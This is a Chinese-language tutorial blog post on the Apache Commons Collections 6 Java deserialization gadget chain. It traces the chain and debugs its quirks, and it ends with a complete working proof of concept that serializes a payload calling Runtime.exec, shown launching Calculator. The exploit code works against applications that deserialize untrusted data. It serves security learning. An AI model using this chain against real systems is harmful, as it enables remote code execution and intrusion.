反序列化Gadget学习篇四 CommonCollections6
这一次来解决前几篇说到的AnnotationInvocationHandler#readObject方法在jdk8u71之后无法使用的问题，情况是导弹的弹头仍然生效，但是负责运送的导弹失效了，所以我们需要找一个新的运送导弹。
一、利用链寻找
前面说到我们使用AnnotationInvocationHandler这个类是因为它的readObject方法中队我们初始化好的一个Map调用get()，那现在需要寻找一个新的方法，找gadget一般是反向找，首先看哪个地方调用到了LazyMap.get()，这次找到的类是org.apache.commons.collections.keyvalue.TiedMapEntry
在其getValue⽅法中调⽤了 this.map.get ，⽽其hashCode⽅法调⽤了getValue⽅法：
import java.io.Serializable;
import java.util.Map;
import java.util.Map.Entry;
import org.apache.commons.collections.KeyValue;
public class TiedMapEntry implements Entry, KeyValue, Serializable {
private static final long serialVersionUID = -8453869361373831205L;
private final Map map;
private final Object key;
public TiedMapEntry(Map map, Object key) {
this.map = map;
this.key = key;
}
public Object getKey() {
return this.key;
}
public Object getValue() {
return this.map.get(this.key);
}
// ...
public int hashCode() {
Object value = this.getValue();
return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
}
// ...
下一步要寻找什么地方调用了TiedMapEntry#hashCode()
ysoserial中，是利⽤java.util.HashSet#readObject到HashMap#put()到 HashMap#hash(key)最后到TiedMapEntry#hashCode()。
@phith0n的文章中用的是相对简单一些链，从java.util.HashMap#readObject中就可以找到HashMap#hash()
public class HashMap<K,V> extends AbstractMap<K,V>
implements Map<K,V>, Cloneable, Serializable {
// ...
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
// ...
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException {
// ...
s.defaultReadObject();
// ...
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {
@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
}
构造Gadget
现在有了前面的经验，我们来直接根据这些信息写Gadget：
HashMap#readObject --> HashMap#hash() --> TiedMapEntry#hashCode() --> TiedMapEntry#getValue() --> LazyMap#get() 后面和之前一致。
首先一样构造出恶意的LazyMap：
Transformer transformer[] = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null , new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer transformerChain = new ChainedTransformer(transformer);
Map innerMap = new HashMap<>();
Map outMap = LazyMap.decorate(innerMap, transformerChain);
下一步构造一个TiedMapEntry，使用构造好的LazyMap初始化：
TiedMapEntry tme = new TiedMapEntry(outMap, "whatever");
最终我们要发送一个HashMap对象，初始化一个新的HashMap，并把TiedMapEntry作为key：
TiedMapEntry tme = new TiedMapEntry(outMap, "whatever");
HashMap map = new HashMap();
map.put(tme, "whatevedr");
直接序列化发送即可，这里本地复现：
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(map);
oos.close();
//本地反序列化复现
System.out.println(barr);
ByteArrayInputStream bis = new ByteArrayInputStream(barr.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
执行触发，表面上实现了功能，但是实际上存在问题：
问题
在调试查看调用栈的时候发现，代码并没有执行到readObject就停止了，但是仍然弹出了计算器，报错产生在writeObject()，那么如果是实战，会发现无法得到恶意类的序列化数据。简单思考一下就明白，出现了之前说过的问题，直接把恶意的transform链绑定到lazymap上了，可能前面有某个地方调用到了，或者调试器调用到了，导致本地弹出计算器。
手动调试发现，在new TiedMapEntry时，调试器会触发，弹出计算器。所以我们还要先设置一个假的transform链，最后再通过反射改到真正的恶意链上。
新增加一个faketransformers
Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(1)};
在map.put后添加通过反射修改ChainedTransformer的字段的代码：
map.put(tme, "whatevedr");
Field f = ChainedTransformer.class.getField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformer);
再执行，发现这次没有报错了，输出了序列化后的数据，但是也不弹出计算器了。继续调试发现在LazyMap#get调用transform的关键函数前的一个if判断：
因为map中包含一个key名为whatever导致跳过了代码执行部分，但是我们并没有给map增加一个key名为whatever。
poc代码中和whatever有关联的部分只有三行：
TiedMapEntry tme = new TiedMapEntry(outMap, "whatever");
Map map = new HashMap();
map.put(tme, "valuevalue");
在调试时给LazyMap#get下了断点，重新调试发现在打印序列化数据之前就调用到了这部分，查看调用栈，发现HashMap#put也会调用Hash函数，导致最终的map和预期的不一致：
outMap多了一个key是whatever：
因此解决方案就是手动把这个key去掉：
outMap.remove("whatever");
再次执行成功弹出计算器：
完整代码：
package changez.sec;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CC6 {
public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Transformer[] faketransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer transformer[] = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class}, new Object[]{null , new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Transformer transformerChain = new ChainedTransformer(faketransformers);
Map innerMap = new HashMap();
Map outMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry tme = new TiedMapEntry(outMap, "whatever");
Map map = new HashMap();
map.put(tme, "valuevalue");
// HashMap.put方法也会调用hash，导致触发利用链执行，但是这时候使用的是faketransformers，没有执行命令但是导致数组多了一个key为whatever，最终会导致反序列化时无法执行命令
// 手动删除这个key保证执行到LazyMap.get()里面的this.factory.transform(key)
outMap.remove("whatever");
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformer);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(map);
oos.close();
System.out.println(barr);
ByteArrayInputStream bis = new ByteArrayInputStream(barr.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bis);
ois.readObject();
}
}
